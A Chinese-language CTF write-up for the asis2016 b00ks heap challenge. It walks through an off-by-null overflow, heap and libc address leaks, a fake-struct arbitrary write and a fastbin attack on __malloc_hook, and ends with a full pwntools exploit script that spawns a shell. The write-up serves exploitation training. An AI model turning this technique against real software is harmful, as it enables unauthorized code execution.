BUUCFT pwn asis2016_b00ks
看师傅们wp的时候,我才知道这个道题是wiki上面的例题。我看了一些师傅的wp,发现大家都是一种做法,都是通过mmap堆地址,来找libc基地址的。而我试了一下fastbisn attack,发现也可以做出来,也是自己第一次做off by null,所以特此记录一下。
step1:leak heap addr
刚进去之后程序会让输入一个author_name,在bss段,可以输入0x20个字节,并且存在off by null漏洞,意味着可以在0x21处写入"\x00"。
通过动态调试发现author_name下面就是存放chunk的指针。
执行show函数的时候,会输出author_name,因为没有截断,会连带将heap地址输出,就拿到heap地址了。
step2:leak libc base && 任意写
这里仅展示add(0x10,'aaaaaaaa',0x10,'bbbbbbbb')的chunk分布。
第一个chunk存book_name,第二个chunk存book_description,第三个chunk存放的是一个结构体。chunk3[0]是书的编号,chunk3[1]指向book_name,chunk3[2]指向book_description,chunk3[3]写的是book_description的大小。(在edit函数,可以对book_description进行修改)
在bss段上,存放的是指针是指向chunk3[0]的。
思路:可以利用off by null将bss段的第一个chunk指针的最后一个字节置0,就可以改写指针,如果将改写的指针指向事先布置好的fake book结构体,就可以实现任意地址的读写。
在这之前呢,得先说一下books2的创建。add(0x80,'cccccccc',0x60,'dddddddd')。
0x80是为了让free之后进入unsortedbin,可以leak libc。
0x60是为了让free之后进入fastbins,然后改写fd指针达到任意写。
此时将0x55956d670100处写入p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)。
接下来就是简单fastbins attack,常规操作,申请到__malloc_hook-0x23的位置,再把chunk申请过去,通过realloc调整一下栈帧用onegadgets打就行。
exp:
1 from pwn import * 2 3 p = process('./b00ks') 4 #p = process(['./b00ks'],env={"LD_PRELOAD":"./libc-2.23.so"}) 5 elf = ELF('./b00ks') 6 libc = ELF('./libc.so.6') 7 #libc = ELF('./libc-2.23.so') 8 context.log_level = 'debug' 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(name_size,name,content_size,content): 14 p.sendlineafter('> ','1') 15 p.sendlineafter('size: ',str(name_size)) 16 p.sendlineafter('chars): ',name) 17 p.sendlineafter('size: ',str(content_size)) 18 p.sendlineafter('tion: ',content) 19 def delete(index): 20 p.sendlineafter('> ','2') 21 p.sendlineafter('delete: ',str(index)) 22 def edit(index,content): 23 p.sendlineafter('> ','3') 24 p.sendlineafter('edit: ',str(index)) 25 p.sendlineafter('ption: ',content) 26 def show(): 27 p.sendlineafter('> ','4') 28 def change(author_name): 29 p.sendlineafter('> ','5') 30 p.sendlineafter('name: ',author_name) 31 32 og = [0x45226,0x4527a,0xf0364,0xf1207] 33 #og = [0x45216,0x4526a,0xf02a4,0xf1147] 34 p.sendlineafter('name: ','a'*0x1f+'b') 35 add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') 36 show() 37 p.recvuntil('aaab') 38 heap_addr = u64(p.recv(6).ljust(8,'\x00')) 39 print 'heap_addr-->'+hex(heap_addr) 40 add(0x80,'cccccccc',0x60,'dddddddd') 41 add(0x10,'eeeeeeee',0x10,'ffffffff') 42 delete(2) 43 edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)) 44 change('a'*0x20) 45 show() 46 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook'] 47 __malloc_hook = libc_base+libc.symbols['__malloc_hook'] 48 realloc = libc_base+libc.symbols['realloc'] 49 shell = libc_base+og[1] 50 print 'libc_base-->'+hex(libc_base) 51 print 'shell-->'+hex(shell) 52 print '__malloc_hook-->'+hex(__malloc_hook) 53 54 edit(1,p64(__malloc_hook-0x23)) 55 add(0x60,'aaaaaaaa',0x60,'a'*(0x13-8)+p64(shell)+p64(realloc+14)) 56 p.interactive()